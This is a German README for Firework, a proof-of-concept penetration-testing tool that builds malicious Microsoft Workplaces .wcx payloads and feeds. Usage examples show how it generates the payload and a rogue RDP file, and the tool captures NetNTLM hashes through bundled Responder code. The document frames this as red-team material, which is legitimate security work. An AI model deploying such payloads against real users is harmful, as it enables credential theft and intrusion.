
Firework ist ein Proof-of-Concept-Tool zur Interaktion mit Microsoft Workplaces, das gültige Dateien erstellt, die für den Bereitstellungsprozess erforderlich sind.
⚠️ HINWEIS: Dieses Tool wird nicht mehr aktiv gewartet.
Firework ist ein Proof-of-Concept-Tool zur Interaktion mit Microsoft Workplaces, das gültige Dateien erstellt, die für den Bereitstellungsprozess erforderlich sind. Das Tool enthält außerdem Code aus Responder, um dessen Fähigkeit zu nutzen, NetNTLM-Hashes von einem System zu erfassen, das einen Workplace-Feed darüber bereitstellt.
Dieses Tool kann im Rahmen eines Penetrationstests oder einer Red-Team-Übung verwendet werden, um eine .wcx-Nutzlast (und den zugehörigen Feed) zu erstellen, die bei einem Klick Folgendes ermöglicht:
Lies den SpiderLabs-Blog für eine detailliertere Zusammenfassung und Anleitung.
$ pip install -r requirements.txt
.-:::::'::::::::::.. .,::::::.:: . .::: ... :::::::.. ::: .
;;;'''' ;;;;;;;``;;;; ;;;;''''';;, ;; ;;;'.;;;;;;;. ;;;;``;;;; ;;; .;;,.
[[[,,== [[[ [[[,/[[[' [[cccc '[[, [[, [[',[[ \[[,[[[,/[[[' [[[[[/'
`$$$"`` $$$ $$$$$$c $$"""" Y$c$$$c$P $$$, $$$$$$$$$c _$$$$,
888 888 888b "88bo,888oo,__ "88"888 "888,_ _,88P888b "88bo,"888"88o,
"MM, MMM MMMM "W" """"YUMMM "M "M" "YMMMMMP" MMMM "W" MMM "MMP"
usage: firework.py [-h] -c COMPANY -u URL -a APP -e EXT -i ICON [-l LISTEN]
[-r RDP] [-d DOMAIN] [-n USERNAME] [-p PASSWORDHASH]
[-t CERT] [-k KEY]
WCX workplace tool
optional arguments:
-h, --help show this help message and exit
-c COMPANY, --company COMPANY
Company name
-u URL, --url URL Feed URL
-a APP, --app APP App Name
-e EXT, --ext EXT App Extension
-i ICON, --icon ICON App Icon
-l LISTEN, --listen LISTEN
TLS Web Server Port
-r RDP, --rdp RDP RDP Server
-d DOMAIN, --domain DOMAIN
RDP Domain
-n USERNAME, --username USERNAME
RDP Username
-p PASSWORD, --password PASSWORD
RDP Password
-t CERT, --cert CERT SSL cert
-k KEY, --key KEY SSL key
Einfaches Beispiel:
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico
Der integrierte Webserver startet auf Port 443, falls cert.crt und key.pem im aktuellen Verzeichnis vorhanden sind. Dies erzwingt eine NTLM-Herausforderung mit Responder. Falls diese Dateien nicht vorhanden sind, schreibt das Tool alle Dateien in das lokale Verzeichnis für das eigene Hosting.
Falls der integrierte Webserver auf einem anderen Port gestartet werden soll, verwende das Flag -l wie unten:
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -l 8443
Es können auch einige Anpassungen an der bereitgestellten .rdp-Datei vorgenommen werden.
Hinweis: In .rdp-Dateien gespeicherte Passwörter werden in einer Standardkonfiguration wahrscheinlich ignoriert.
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -r dc.corp.local -d corp.local -n admin -p <crypt password>
Nach dem Ausführen des Tools wird 'payload.wcx' in das aktuelle Verzeichnis geschrieben. Diese Datei startet beim Anklicken den Bereitstellungsprozess.
Firework
Erstellt von David Middlehurst Copyright (C) 2018 Trustwave Holdings, Inc.
Dieses Programm ist freie Software: Sie können es unter den Bedingungen der GNU General Public License, wie von der Free Software Foundation veröffentlicht, entweder Version 3 der Lizenz oder (nach Ihrer Wahl) jeder späteren Version weitergeben und/oder modifizieren.
Dieses Programm wird in der Hoffnung verteilt, dass es nützlich sein wird, aber OHNE JEDE GEWÄHRLEISTUNG; sogar ohne die implizite Gewährleistung der MARKTGÄNGIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK. Siehe die GNU General Public License für weitere Details.